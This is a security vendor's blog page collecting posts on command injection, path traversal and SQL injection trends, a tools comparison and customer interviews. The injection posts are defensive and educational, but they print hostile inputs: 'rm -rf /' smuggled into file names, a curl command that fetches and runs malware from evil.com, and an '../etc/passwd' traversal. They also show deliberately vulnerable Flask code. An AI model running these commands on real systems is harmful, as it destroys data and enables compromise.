Product
Everything you need to secure code, cloud, and runtime– in one central system
Code
Dependencies
Prevent open-source risks (SCA)
Secrets
Catch exposed secrets
SAST
Secure code as its written
Container Images
Secure images easily
Malware
Prevent supply chain attacks
Infrastructure as Code
Scan IaC for misconfigurations
License Risk & SBOMs
Avoid risk, be compliant
Outdated Software
Know your EOL runtimes
Cloud
Cloud / CSPM
Cloud misconfigurations
DAST
Black-box security testing
API Scanning
Test your API’s for vulns
Virtual Machines
No agents, no overhead
Kubernetes Runtime
soon
Secure your container workloads
Cloud Search
Cloud sprawl, solved
Defend
Runtime Protection
In-app Firewall / WAF
Features
AI AutoFix
1-click fixes with Aikido AI
CI/CD Security
Scan before merge and deployment
IDE Integrations
Get instant feedback while coding
On-Prem Scanner
Compliance-first local scanning
Solutions
Use Cases
Compliance
Automate SOC 2, ISO & more
Vulnerability Management
All-in-1 vuln management
Secure Your Code
Advanced code security
Generate SBOMs
1 click SCA reports
ASPM
End-to-end AppSec
AI at Aikido
Let Aikido AI do the work
Block 0-Days
Block threats before impact
Industries
FinTech
HealthTech
HRTech
Legal Tech
Group Companies
Agencies
Startups
Enterprise
Mobile apps
Manufacturing
Pricing
Resources
Developer
Docs
How to use Aikido
Public API docs
Aikido developer hub
Changelog
See what shipped
Security
In-house research
Malware & CVE intelligence
Glossary
Security jargon guide
Trust Center
Safe, private, compliant
Open Source
Aikido Intel
Malware & OSS threat feed
Zen
In-app firewall protection
OpenGrep
Code analysis engine
Integrations
IDEs
CI/CD Systems
Clouds
Git Systems
Compliance
Messengers
Task Managers
More integrations
About
About
About
Meet the team
Careers
We’re hiring
Press Kit
Download brand assets
Calendar
See you around?
Open Source
Our OSS projects
Blog
The latest posts
Customer Stories
Trusted by the best teams
Partner Program
Partner with us
Contact
Login
Start for Free
No CC required
Aikido
Menu
Aikido
EN
EN
FR
JP
DE
Login
Start for Free
No CC required

Welcome to our blog.

Introducing Aikido AI Cloud Search
By
Madeline Lawrence
Madeline Lawrence

Introducing Aikido AI Cloud Search

Aikido
May 26, 2025
Reducing Cybersecurity Debt with AI Autotriage
By
Mackenzie Jackson
Mackenzie Jackson

Reducing Cybersecurity Debt with AI Autotriage

Product & Company Updates
May 21, 2025
Vibe Check: The vibe coder’s security checklist
By
Mackenzie Jackson
Mackenzie Jackson

Vibe Check: The vibe coder’s security checklist

Guides & Best Practices
May 19, 2025
Malware hiding in plain sight: Spying on North Korean Hackers
By
Charlie Eriksen
Charlie Eriksen

Malware hiding in plain sight: Spying on North Korean Hackers

Vulnerabilities & Threats
March 31, 2025
Command injection in 2024 unpacked
By
Mackenzie Jackson
Mackenzie Jackson

Command injection in 2024 unpacked

What is Command Injection?

Command injection is a vulnerability still very prevalent in web applications despite being less famous than its cousins SQL injection or Code injection. If you’re familiar with other injection vulnerabilities, you’ll recognize the common principle: untrusted user input is not properly validated, leading to the execution of arbitrary system commands. This flaw occurs when unvalidated input is passed to system-level functions. So how prominent is command injection actually? We looked at how common it is to see this vulnerability in the wild, *spoiler*, it is surprisingly common!

Example of Command Injection

Consider this example of command injection,  let’s say you have an application where you can enter the name of a file hosted on a server. The application retrieves that file writing out its content. The code for which is below

import os

file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")

The above code expects a user to insert a file name like file.txt , but instead  a malicious user injects some code to run malicious commands.

For example
Name of file: file.txt; rm -rf /

This input would first display the contents of file.txt and then execute the malicious rm -rf command, which will forcibly delete all the files in a directory.

The malicious user can do this because the application did not validate or sanitize the user's input making the application susceptible to command injection.

If you would like a more comprehensive example see the bonus content at the bottom of this page.

Command Injection in Numbers: Our Research

  • 7% of all vulnerabilities found in open-source projects in 2024 were command injection
  • 5.8% for closed-source projects!
  • An increase in the total number of command injection vulnerabilities in open-source projects  from 2,348 (2023) to an expected 2,600 (2024).
  • As a percentage of all vulnerabilities, Command injection is getting less popular: a decrease of 14.6% and 26.4% for open-source and closed-source projects respectively from 2023 to 2024

Our research focused on researching both open-source and closed-source projects to reveal how many had command injection vulnerabilities hiding within.

Overall the number of command injection vulnerabilities is very high with 7% of  allvulnerabilities reported in open-source projects being command injection and 5.8% in closed-source projects. This is quite close to the number of SQL injection vulnerabilities found.

There is some good news to pull out of the data too, we are seeing a solid trend of these vulnerabilities reducing from 2023 to 2024. As a percentage of all vuleribilities we saw a reduction of 27% in closed-source projects and 14% in open-source. There are likely many factors contributing to this, one likely significant factor is that the FBI and CISA in 2024 pointed to command injection as a real threat and urged vendors to pay attention to it. According to the data, this warning was heard.

The good news unfortunately stops there. We are still seeing an increase in the overall number of vulnerabilities reported in open-source projects. The total number of injection vulnerabilities reported in open-source projects went from 2,348 in 2023 to 2,450 so far in 2024 (expected to reach 2,600)

How to Prevent Command Injection

Preventing command injection vulnerabilities requires a multi-faceted approach:

Server-side Input Validation

A common mistake some make is performing only clientside validation which can be bypassed by an attacker making a direct request.

import subprocess

# Example of restricted input
allowed_files = ['file1.txt', 'file2.txt']
user_input = "file1.txt"  # This should come from user, but is validated

if user_input in allowed_files:
   subprocess.Popen(['ls', '-l', user_input])
else:
   print("Invalid input!")

Avoid shell commands

Replace shell commands with language-native functions or libraries where possible. Below is an example of using read only mode to open a file and read the contexts within.

with open("file.txt", "r") as f:
print(f.read())

Automated Testing

Use tools like Aikido to scan your source code and application to discover these vulnerabilities.

Use an in-app firewall

One of the best defenses against injection attacks is an in-app firewall that is able to catch and block malicious commands. Aikido’s in-app firewall Zen is available in open-source and commercial is able to detect and block injection attacks at run time.

Apply the Principle of Least Privilege

Configure applications and users to run with the minimum privileges necessary, reducing potential damage from exploitation.

The road forward

Command injection along with many injection vulnerabilities is a challenge, from a technology point of view, we have solved this, meaning there is no need to have this kind of vulnerability in your applications. With that in mind, the fact that we still see so many of these types of vulnerabilities means we can’t expect a quantum leap of improvement.

Command injection will continue to be a problem however because we did see a significant drop this year with large organizations putting a focus on this vulnerability, there is hope to think that command injection may become less prominent in the future if we continue to bring awareness to it.

Bonus Content

A History of Command Injection: Prominent Breaches

Command injection has been a persistent threat for a long time. In fact, there was a significant command injection vulnerability that was present in bash from 1989 all the way to 2014. More recently in 2024, the importance of command injection was highlighted by the CISA and FBI showing it is still a big concern.

1. Early Days of Command Injection

  • First Known Usage: Command injection vulnerabilities emerged with the rise of multi-user computing systems in the 1970s and 1980s, allowing attackers to execute arbitrary commands via unsanitized inputs.
  • 1980s and 1990s: The proliferation of web technologies led to increased exploitation of command injection, particularly through improperly secured CGI scripts.

2. Significant Breaches and Exploits

  • 1998: The First Documented Web-based Command Injection Attack: A vulnerability in a widely used Perl-based CGI script was exploited, marking one of the first major web-based command injection incidents.
  • 2010: Stuxnet Worm (Embedded Command Injection): Stuxnet utilized command injection to target industrial control systems, demonstrating the vulnerability's reach beyond traditional IT environments.

3. 2010s: Exploitation at Scale

  • 2014: Shellshock Vulnerability: Shellshock (CVE-2014-6271) exploited Bash's command processing, affecting millions of systems worldwide.
  • 2018: Cisco ASA VPN Exploit (CVE-2018-0101): A command injection vulnerability in Cisco's ASA software allowed remote code execution, compromising enterprise security.

4. 2020s: Modern Exploits and Trends

  • 2020: Citrix ADC Gateway Exploit: Attackers exploited command injection vulnerabilities in Citrix systems, leading to significant data breaches.
  • 2023: MOVEit Vulnerability (SQL and Command Injection): A command injection flaw in MOVEit Transfer software led to widespread data breaches across multiple organizations.

Realistic command injection vulnerability

The Vulnerable Code

Let's look at a slightly more complex example of command injection. Below is some code for a simple Python web application. It allows users to create a ZIP archive of specified files by sending a POST request to the /archive route.

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/archive', methods=['POST'])
def archive_files():
   files = request.form.get('files')  # User provides file names to archive
   archive_name = request.form.get('archive_name')  # User provides archive name
   
   command = f"zip {archive_name}.zip {files}"  # Command built dynamically
   os.system(command)  # Execute the system command

   return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
   app.run(debug=True)

How It Works

The user supplies:

  • files (e.g., file1.txt file2.txt) to specify which files to include in the archive.
  • archive_name to specify the name of the resulting zip archive.

The code constructs a shell command dynamically:

1. zip archive_name.zip file1.txt file2.txt

2. The os.system() function executes the command, allowing the user-provided inputs to dictate its behavior.

Exploitation

An attacker exploits this by injecting additional commands into the archive_name or files inputs.

Input Provided by the Attacker:

  • archive_name: my_archive; rm -rf /
  • files: file1.txt

The Resulting Command:

zip my_archive.zip file1.txt; rm -rf /

  1. zip my_archive.zip file1.txt: Creates an archive as expected.
  2. ; rm -rf /: Deletes all files on the server by executing a separate destructive command.

A More Sophisticated Example

The attacker might exploit this to download malware or exfiltrate data:

archive_name: archive; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

Resulting Command:

zip archive.zip file1.txt; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

This command:

  1. Creates an archive (zip archive.zip file1.txt).
  2. Downloads malicious code (curl -o malware.sh http://evil.com/malware.sh).
  3. Executes the malware (bash malware.sh).
Vulnerabilities & Threats
November 24, 2024
Path Traversal in 2024 - The year unpacked
By
Mackenzie Jackson
Mackenzie Jackson

Path Traversal in 2024 - The year unpacked

Path traversal, also known as directory traversal, occurs when a malicious user manipulates user-supplied data to gain unauthorized access to files and directories. Typically the attacker will be trying to access logs and credentials that are in different directories. Path traversal is not a new vulnerability and has been actively exploited since the 90s when web servers gained popularity, many relied on Common Gateway Interface (CGI) scripts to execute dynamic server-side content.

With such a long history, is path traversal still popular today? We conducted a study of both open-source and closed-source projects to gather data to see how common path traversal was in 2024 and if we are improving, Spoilers we aren’t.

Path traversal example

So how exactly does path traversal work? Let's look at a simple example.

In this simple application, a user is given a file to download via a variable in the URL.

There is some simple backend Python code handling the request.

import os  

def download_file(file):    
   base_directory = "/var/www/files"
   file_path = os.path.join(base_directory, file)          

   if os.path.exists(file_path):        
       with open(file_path, 'rb') as f:            
            return f.read()    
   else:        
      return "File not found"

Now as the variable is supplied in the URL we can change it to something like this file=../../../../etc/passwd

Here the attacker is using the ../../ to traverse up the directory structure to the system root level and access the passed file potentially gaining access to sensitive information.

If you want to see how this method could be secured scroll down to bonus content.

In more complex scenarios involving multiple layers of directories or encoded characters (e.g., %2e%2e%2f), attackers can bypass basic filters and gain deeper access into the file system.

Path traversal by the numbers

  • 2.7% of all vulnerabilities found in open-source projects in 2024 so far were path traversal
  • 3.5% for closed-source projects!
  • An increase in the total number of path traversal vulnerabilities in open-source projects from 742 (2023) to an expected 1,000 (2024).
  • As a percentage of all vulnerabilities, path traversal is getting more common with a massive increase in closed-source projects of 85%
Path Traversal in 2024 and 2023

Our research focused on researching both open-source and closed-source projects to reveal how many had path traversal vulnerabilities hiding within.

Overall the number of path traversal vulnerabilities is lower than some others we have researched such as Command Injections, or SQL Injections. But considering that this vulnerability can be very dangerous and has well-documented solutions to prevent it, it is alarming to see the numbers as high as they are. It is even more alarming to see the trends for this vulnerability going in the wrong direction. f

Open Source Projects

In open-source projects, path traversal accounted for 2.6% of all reported vulnerabilities in 2023. This figure saw a slight increase in 2024, rising to 2.75%. While this increment may seem marginal at first glance, it underscores ongoing challenges in securing open-source software against even simple vulnerabilities.

Closed Source Projects

The most notable trend was observed in closed-source projects where path traversal incidents surged from 1.9% in 2023 to 3.5% in 2024—a substantial increase of 85% highlighting an alarming trend of this kind of vulnerability.

The bad news unfortunately doesn’t stop there. We are still seeing an increase in the overall number of vulnerabilities reported in open-source projects. The total number of injection vulnerabilities reported in open-source projects went from 742 in 2023 to 917 so far in 2024 (expected to reach 1,000)

Number of path traversal vulnerabilities in 2024 and 2023

Preventing Path Traversal

Preventing command injection vulnerabilities requires a multi-faceted approach:

Input Validation

  • Sanitize user inputs: Strip out or encode dangerous characters such as ../, ..\, ..%2f, or other variations.
  • Allowlist approach: Define a strict set of permissible inputs (e.g., file names or paths) and reject anything outside this list.

Restrict File Access

  • Use a chroot jail or sandbox: Limit the application’s file access to a restricted directory, ensuring it cannot traverse beyond the intended directory tree.
  • Set root directories: Define base directories and ensure all paths are relative to them. Use APIs or frameworks that enforce this, such as:java.nio.file.Paths.get("baseDir").resolve(userInput).normalize() in Java.
    os.path.realpath() and os.path.commonpath() in Python.

Secure File Access APIs

  • Use secure file access methods provided by modern libraries or frameworks:In Java, use Files.newInputStream() or Files.newBufferedReader() for safe file handling.
    In Python, ensure you validate file paths before accessing them.

Use Environment Restrictions

  • Set restrictive file system permissions:Ensure the application has only the minimum required privileges.
    Deny access to sensitive directories (e.g., /etc, /var, /usr, and user home directories).
  • Disable unnecessary features in web servers or frameworks (e.g., symbolic link following).

Automated Testing

  • Use tools like Aikido to scan your source code and application to discover these vulnerabilities.
  • Both SAST and DAST tools should be used together along with domain scanning and cloud security to ensure you have no hidden path traversal vulnerabilities.

Use an in-app firewall

  • One of the best defenses against injection attacks is an in-app firewall that is able to catch and block malicious commands.

The road forward

Path traversal is a vulnerability that has been present since the beginning of web apps and while it is often quite simple, it can also be a very devastating exploit. This makes it so concerning that such a large percentage of projects are still struggling with such issues. While 3.5% does not seem like a high number, it is quite remarkable that the number is growing in popularity despite its clear continued and well-documented threat.

Path traversal isn’t a vulnerability that is going away but the good news is that there are clear ways we can find these vulnerabilities in our application and remediate any issues we find.

Bonus Content

Real-World Incidents

There have been several high-profile breaches or vulnerabilities in recent years that involved path traversal as either the primary point of entry or as part of a chain of vulnerability

Microsoft IIS Unicode Exploit (2001)

One of the earliest high-profile path traversal exploits targeting Microsoft IIS servers. Attackers used encoded paths to bypass validation mechanisms (e.g., using %c0%af to represent /). This allowed them to access and execute files outside the web root directory.

This enabled the deployment of malware and defacement of numerous websites.

Fortinet VPN Path Traversal (2019)

Fortinet's SSL VPN was found to have a directory traversal vulnerability (CVE-2018-13379). Attackers exploited this flaw to access sensitive system files, such as plaintext passwords for VPN users.

Thousands of VPN credentials were leaked online, exposing organizations to unauthorized access and further attacks.

Capital One Breach (2019)

What happened: While the primary cause was an SSRF vulnerability, the attacker also leveraged directory traversal in accessing AWS S3 bucket metadata. The attacker exploited misconfigurations to retrieve configuration files that should have been inaccessible.

This exposed personal data of 106 million credit card applicants.

Path Traversal in Kubernetes Dashboard (2020)

The Kubernetes Dashboard had a directory traversal flaw (CVE-2020-8563). Attackers exploited this to read sensitive files in the container, including secrets stored in /etc.

Vulnerabilities & Threats
November 23, 2024
Balancing Security: When to Leverage Open-Source Tools vs. Commercial Tools
By
Mackenzie Jackson
Mackenzie Jackson

Balancing Security: When to Leverage Open-Source Tools vs. Commercial Tools

When deciding what approach to use for security tooling, it seems like there are two choices.

1. Sell your left kidney and buy the enterprise solution whose name is on the side of a Formula 1 car.
2. Pick the free open-source tool that swipes right on more false positives than a dating app during a lonely Friday night.

Like everything in security, there is more to unpack in reality. In this article I want to explore when open-source security tools should be used, when commercial tools are more effective, and if we can trust tools built from an open-source core.

Build vs Buy (the open-source cost trap)

As you grow your company, you will soon realize that the choice between open-source and commercial is more a choice between building tools or buying tools. Open-source provides a great starting point but they lack a lot of the features you need, dashboards, integrations, compliance reporting, remediation workflows, false positive filtering, and vulnerability prioritization, to name a few. So the idea that open-source is free simply isn’t true. This can be an advantage though, building as you go stretches out the initial investment and you can focus on features that are important to you. It means you aren’t relying on a vendor to deliver the feature they ‘promised’ they would deliver in Q3 2 years ago.

There are plenty of negatives to consider when building on top of open-source tools. Firstly not only will it take significant development time to build out these tools but it will also require continuous maintenance. Security tools can also block production when they are integrated into elements like CI/CD pipelines for example. This means when they fail or crash, they can cause losses in productivity with no support to help you get back online.

What about the buy option then? Firstly there is no ramp-up period, you get complete coverage right from the beginning which results in less security debt later on. You also don’t lose the opportunity cost of taking engineering teams off your core objectives to focus on building features for internal tools. In the fast-paced startup world, don’t underestimate the value of this.

Open-source vs commercial

Table ChartInfogram

Are commercial tools better at vulnerability discovery?

So far we have talked about all the tool's features without even asking possibly one of the most important questions. What will find more vulnerabilities? Generally speaking, the core functionality of open-source tools will often match their commercial counterparts in their ability to find vulnerabilities. Where commercial tools will pull ahead though is their ability to filter out false positives and prioritize their findings.

It is very often commercial tools that are built on open-source projects. For example, let's take Zen by Aikido, a full-featured in-app firewall that is designed to stop threats at runtime. So is it better at detecting run-time threats and stopping them than an open-source equivalent, not really, because it's based on an open-source project, AikidoZen. The value of the enterprise version is in its additional features like analysis, rule creation, deeper understanding of Your specific threats, and ease of deployment, all things you would need to build yourself if you used the open-source version in an enterprise. So open-source isn’t necessarily worse, it just is missing the next stage of triage.

Note: Benchmarking tools against vulnerabilities found can also be very tricky. A great security tool might find fewer vulnerabilities because it is better at removing false positives based on context. Therefore the better tool isn’t always the one that finds the most, more often than not it's the opposite.

Powered by open-source built for enterprises

So open-source is too much development and the commercial is too expensive, how about a happy medium? Full-featured tools that use open-source at their core are not a new concept. Some of the most successful security products in the world use open source at their core like, Hashicorp Vault, Elastic Security, and Metaploit to name a few. There are many reasons why these tools do so well and it’s probably not for the reasons you think.

Cost-effectiveness

Open-source powered tools not only need to compete with alternative commercial tools, they also must compete with their open-source base. That means their value must be proven and transparent often resulting in a more cost-effective offering.

Power of the community

Often open-source tools are maintained and built by commercial companies, like Aikido Zen. Tools that are based on open-source are not just done so to reduce development time, but also because founders believe fundamentally in the power of open-source. Open-source tools are often faster at building features because they have a community behind them, it also means that if you have a specific and niche problem you can introduce it to the tool yourself.

Transparency

Often buying commercial tools can be a little like buying a car without seeing its engine. How good/reliable is it in the long term? It is easier to hide weaknesses when someone can’t peer into the engine. Open-source powered tools cannot hide their engine so it is easier to feel confident in the tool itself.

Commercial Features

As stated before, because an open-source-powered tool is often competing with both commercial alternatives and open-source tools it has to stand proudly behind its additional features. This will mean everything you expect from a commercial tool but often quite a bit more. Because the product benefits from a well-defined open-source base, attention can be spent on improvements which are ultimately passed onto the end user.

So what do I choose (final thoughts)

We have discussed the advantages of open-source, commercial, and open-source powered security tools. I think it is clear from my tone that as the author I love the open-source community and believe open-source-powered tools to be a compromise on price without a compromise on features. It is of course idiotic to say that there is no reason why in some scenarios where a pure commercial version is better. There are great innovative solutions out there that are entirely closed-source. But my ultimate point is that just because something is based on an open-source project, it doesn’t mean it will compromise in ability or features. And because it needs to prove its value in complete transparency, it often offers deeper features and value.

Aikido security was created by developers for developers to help get security done. We a proud of our open-source heritage and would love for you to come see it in action for yourself.

Get Started With Aikido Security For Free

Guides & Best Practices
November 15, 2024
The State of SQL Injection
By
Mackenzie Jackson
Mackenzie Jackson

The State of SQL Injection

SQL injection (SQLi) has a history that is older than Internet Explorer (which according to Gen Z was the start of civilization). There have been thousands of breaches caused by SQL injection and an endless amount of well-documented best practices and tools to help prevent it. So surely, surely we learned our lesson from these breaches and SQLi is no longer an issue.

We have been monitoring the number of SQL injections discovered in open-source and closed-source projects to see if we are getting better. With the recent news coming that stolen data from the MOVEit SQL injection breach is bring sold for companies like Amazon, we decided to give you a sneak peek into our up-and-coming State of Injection report for 2025.

Spoiler, turns out we are still terrible at preventing SQL injection.

What is SQL injection?

SQLi is a vulnerability that occurs when a program uses untrusted user input directly in a query to a SQL database. A  malicious user can then insert their own code and manipulate the query allowing the malicious user to access private data, bypass authentication or delete data. The example below shows how an insecure SQL query for a user login page is vulnerable to an SQLi authentication bypass attack.

There are many different types of injection attacks like code injection or cross-site scripting (XSS). But SQLi specifically has played a prominent role in breaches for a very long time and comes as a shock to many that we still need to discuss this in 2024.

How an SQLi attack happens

1. Vulnerable query
Example of a vulnerable query where user input is directly used in the query

Vulnerable SQL injection query

2. SQL injection attack
SQL is injected into the user input field of
an authentication page

Injection into user input field

3. Query run with payloadPayload comments out the password check so the query ignores this step

SQL injection query

SQL injection by the numbers:

  • 6.7% of all vulnerabilities found in open-source projects are SQLi
  • 10% for closed-source projects!
  • An increase in the total number of SQL injection in open-source projects (CVE’s that involve SQLi) from 2264 (2023) to 2400 (2024) is expected.
  • As a percentage of all vulnerabilities, SQL injection is getting less popular: a decrease of 14% and 17% for open-source and closed-source projects respectively from 2023 to 2024
  • Over 20% of closed source projects scanned are vulnerable to SQL injection when they first start using security tooling
  • For organizations vulnerable to SQL injection, the average number of SQL injection sites is nearly 30 separate locations in the code

We reviewed how many SQLi vulnerabilities were discovered in open-source packages in 2023 and so far in 2024. We then compared that to closed-source projects that have been discovered by Aikido Security. Unsurprisingly, we are still seeing shocking numbers of SQL injection in both closed and open-source projects. 6.7% of all vulnerabilities discovered in open-source projects in 2024 are SQL injection vulnerabilities while 10% of vulnerabilities discovered in closed-source projects were SQL injection vulnerabilities. This may not seem like a lot but it is frankly shocking that in 2024 we are still struggling to cope with some of the most basic vulnerabilities we know of.

The only good news we have is that this number is a 14% decrease from 2023 in open-source and a 17% reduction in closed-source projects as a percentage of all vulnerabilities found. However, the total number of SQLi found is expected in increase from 2264 in 2023 to over 2400 by the end of 2024 in open-source projects.

Preventing SQL injection

Apparently, there isn’t enough information on the internet just yet on how to prevent SQL injection so here is an overview of the options available in 2025:

1. Use Prepared Statements and Parameterized Queries

In the example at the start of this Blog Post, we showed vulnerable code because it takes untrusted user input and uses it directly in a query. To avoid this we should use prepared statements which means defining your query first and then adding user input later. This separates the command and data stream, fixing the problem completely. A great solution, but not always possible or used!

import sqlite3
conn = sqlite3.connect('example.db')
cursor = conn.cursor()
user_id = 5  # Example safe input
# Safe query using parameterized query

cursor.execute("SELECT * FROM users WHERE id = ?", (user_id))

2. Server-side input/schema validation

Input validation can be effective in preventing SQLi. For example, if your API expects an email address or a credit card number, it’s easy to add validation for those cases.

3. Use SAST & DAST tools to discover SQLi

One of the most terrifying elements of SQLi is that it is easily discovered by adversaries often being described as a low-hanging fruit vulnerability. Part of this reason is because tools like DAST can automatically discover them. This can be used to our advantage and we can introduce these tools into our development process to catch them early.

Next-gen SAST tools like Aikido also allow you to autofix the issues right from within the platform.

An example of Aikido’s AI-powered Autofix for a wordpress PHP SQL injection

4. Implement an in-app firewall

An in-app firewall monitors traffic and activity inside your application and can detect attacks including injection and SQLi. This is more effective than a traditional WAF as it sits inside your application and is able to tokenize expected queries and block requests that change the command structure of the query.

Shameless plug ;) for Aikido’s new launch: Zen, the in-app firewall for peace of mind at runtime. Get Zen and it will automatically block critical injection attacks and zero-day threats in real-time, before they ever reach your database.

5. Avoid Dynamic SQL Where Possible

Dynamic SQL generation through string concatenation is highly vulnerable to SQL injection. Whenever possible, stick to static, pre-defined queries and stored procedures that don’t rely on user-generated content for SQL structure.

6. Allowlisting and escaping

In some cases, you cannot avoid Dynamic SQL, such as when querying dynamic tables, or when you want to order by a user-defined column and direction. In those cases you have no other option than to rely on regular expression allowlisting or escaping.  Escaping is taking user input that contains dangerous characters used in code like ‘>’ and turning them into a safe form. Ether by adding backslashes before them or transforming them into a symbol code. Note that this is different not only for each database type but can also depend on connection settings such as charset.

Will we ever see the end of SQLi?

While there is some promise in the fact we have seen a somewhat significant decrease in the number SQLi vulnerabilities found it is still disheartening to see that a vulnerability that predates the game DOOM is still such a significant threat to the landscape. The truth is, I can’t see this getting much better. As we introduce more tools to help us code faster, developers are getting less in touch with the core coding principles and these AI tools are notoriously bad at suggesting vulnerable code with injection vulnerabilities included.

It is not all Doom and gloom (pun intended) though, we are seeing significant improvements in a new generation of SAST tools that are far more effective at discovering and fixing these vulnerabilities has the ability to drastically change the threat landscape.

Signing off for now, don’t forget to:

Discover and automatically fix SQL injection with Aikido AI SAST Autofix

Checkout Zen and prevent injection attacks as they happen

Bonus: SQL History throughout history

Ever since we started talking about security in our applications we have talked about SQL injection. It was even featured at number 7 on the very first OWASP top 10 chart in 2003, in 2010 was included in the injection category and took the number 1 spot until 2021. One of the first large-scale attacks documented involving SQL injection was when the clothing company Guess was targeted resulting in the leak of credit card numbers. Since then SQL injection has been a regular guest among security headlines.

Bonus Pt 2 - Check out Injection Attacks 101 to get the an introduction to SQL injections, code injections, and XSS

Vulnerabilities & Threats
November 8, 2024
Visma’s Security Boost with Aikido: A Conversation with Nikolai Brogaard
By
Michiel Denis
Michiel Denis

Visma’s Security Boost with Aikido: A Conversation with Nikolai Brogaard

Nicolai Brogaard, Service Owner of SAST & SCA at Visma, took the time to visit the Aikido HQ and talk about managing security at Visma’s portfolio companies.

"Aikido helps us catch the blind spots in our security that we couldn’t fully address with our existing tools. It’s been a game-changer for us beyond just the SCA (Software Composition Analysis) solutions we originally brought them in for."

A little while ago, we shared that Visma chose Aikido Security for its portfolio companies. Recently, we had the pleasure of having Nicolai Brogaard, Service Owner of SAST & SCA over in our Belgian headquarters.

Nikolai’s part of the security testing team at Visma, a large conglomerate with 180 portfolio companies. Visma is serious about security—it's something they focus on across the board. With 15,000 employees (6,000 of whom are developers) and a dedicated security team of 100 people, security is at the core of their operations.

These are his thoughts on the evolving security landscape, and the role Aikido plays in it.

Why Aikido?

At Visma, we’ve thought about building our own security tools, but we realized pretty quickly it wasn’t the best use of our resources. That’s where Aikido came in. They filled in the gaps that our existing tools, especially SAST (Static Application Security Testing), didn’t cover. With Aikido, we didn’t have to stretch ourselves thin developing tools from scratch.

Regional Expertise Matters

Being based in the EU, it’s really important for us to work with vendors who understand the specific regulations we face—especially things like GDPR and data residency requirements. Aikido gets this. They know the ins and outs of EU regulations, which makes it much easier for us to comply with things like keeping data on national soil.

How We Evaluate Security Software

When we look at new vendors, we go by the 80/20 rule: If a solution fits the needs of 80% of our portfolio companies, it’s worth considering. Aikido nailed that for us. Beyond just SCA, they provide additional features, like addressing security blind spots and helping with CSPM (Cloud Security Posture Management). These added benefits really sealed the deal for us.

The Benefits of Aikido

Aikido hasn’t just enhanced our security posture—it’s also helped us uncover things we were missing with our previous tools. Initially, we brought them on for SCA, but we quickly realized they could do much more, especially in reducing the time and effort spent on dealing with false positives. Their auto-remediation feature is a huge time-saver for our teams. It cuts through the noise, so our developers can focus on what really matters.

Smooth Transition

Switching to Aikido was easy. At Visma, we have an internal security developer portal called Hubble, which makes onboarding new tools super straightforward. With Aikido, it was just a matter of integrating them into Hubble and giving our portfolio companies a gentle nudge to make the switch. Most companies transitioned quickly, and the rest follow over time as we track risk internally.

What Visma Loves About Aikido

The best thing about Aikido? They’re super proactive. We have a shared Slack channel with them, and they’re always quick to respond and solve any issues our teams run into. It’s great to feel like we’re more than just a customer—they really care about making sure we’re getting the most out of their product.

"Aikido isn’t just a vendor for us—they’re a true partner. Their responsiveness and dedication to helping us succeed make all the difference."

Key Highlights:

  • Filling Security Gaps: Aikido shines a light on the blind spots our other tools miss.
  • Time-Saving Automation: The auto-remediation feature cuts down on noise, letting our developers focus on real issues.
  • Simple Onboarding: With Visma’s internal portal, getting companies on board with Aikido is a breeze.
  • Proactive Support: Aikido’s fast, responsive support via instant messaging platforms (like Slack) makes us feel like we’re in good hands.
Customer Stories
November 6, 2024
Security in FinTech: Q&A with Dan Kindler, co-founder & CTO of Bound
By
Michiel Denis
Michiel Denis

Security in FinTech: Q&A with Dan Kindler, co-founder & CTO of Bound

Recently, we sat down with Dan Kindler, co-founder and CTO of Bound, a FinTech company focused on minimizing currency risk and loss, to learn how they’re dealing with security.

Hey Dan! Can you tell us a bit more about yourself and Bound?

Hi, I’m Dan Kindler and I’m the CTO and co-founder of Bound. We focus on making currency conversion and hedging cheap, fair, and most of all, easy. Our platforms help hundreds of businesses protect themselves from currency risk across the world. Currently, about half of our team is composed of engineers.

How is Bound positioned within the FinTech sector, and compared to the competition?

Before diving into FinTech itself, let me cover how we’re positioned against traditional financial institutions first. Traditional banks or brokers typically cater to customers with large treasury teams who value dealing over the phone and email. Their online exchanges typically only offer on-the-spot transactions. Since our aim is to make hedging easy and hassle-free, we’re offering both spot and currency hedging tools to manage and protect your international cash flows. Back in December 2022, we received our FCA authorization, a UK financial regulatory authority, allowing us to provide regulated hedging products.

When it comes to FinTech, it's safe to say we’re breaking Bound-aries (yeah) by introducing self-serve foreign exchange conversions online. Companies like Wise and Revolut have done a tremendous job of making currency conversions easy online – but they only focus on “spot” (or instant) conversions. With Bound, we focus on future cash flows, which they don’t focus as much on.

What purpose should security in FinTech serve?

Security plays a huge role in our industry. At the end of the day, we're dealing with financial transactions that could be worth hundreds of thousands of pounds/dollars/euros – if not more. At Bound, our transaction volume already exceeded hundreds of millions of dollars. If a security risk sneaks its way into our product - or any FinTech product for that matter - it's safe to say sh*'t hits the fan. And not just any fan. Legal consequences aside, hackers could steal other people’s savings, destroying businesses and lives.

Within FinTech, we can imagine regulatory instances or governmental regulatory bodies are putting more scrutiny on companies that deal with customer data. How does Aikido help you deal with this?

The pressure to stay compliant is huge. In the UK, we’re constantly navigating strict regulations like the GDPR and the FCA's guidance on data protection and security. The regulators expect us to be proactive in managing vulnerabilities, especially since we handle sensitive customer data.

Aikido has been a game-changer for us. The 9-in-1 platform allows us to comprehensively cover every aspect of our software security. This approach makes it easier to meet regulatory requirements without piecing together multiple tools. A big plus has been the false-positive reduction. In a regulatory landscape, we don’t have the luxury of wasting time chasing down non-existent vulnerabilities. Aikido’s precision means that when an alert comes in, we can trust it’s something that requires action, which is invaluable during audits or compliance reviews. Plus, the clear UX allows our team to act swiftly, avoiding the complexity that usually comes with security tools. It ensures that we stay ahead of any potential compliance issues without disrupting our development flow.

What future regulation do you see coming down the line for other engineering leads & VPs to keep an eye on?

Future UK FinTech regulations are likely to focus on expanding Open Banking and enhancing digital assets oversight. With innovations like Variable Recurring Payments and a digital regulatory sandbox, engineering teams should prepare for tighter security standards and new API integrations.

Before Aikido, what kept you up at night in terms of security? How were you addressing security?

Honestly, it was a mess trying to manage different tools for each type of security check. We were constantly worried something would get missed, and the number of false positives made it even worse. Aikido brought everything together in one place, so now we’re catching real issues without all the noise, and it’s made our lives way easier.

We saw Bound is one of our few customers that pretty much solved every open issue reported. Has Aikido helped you out with this?

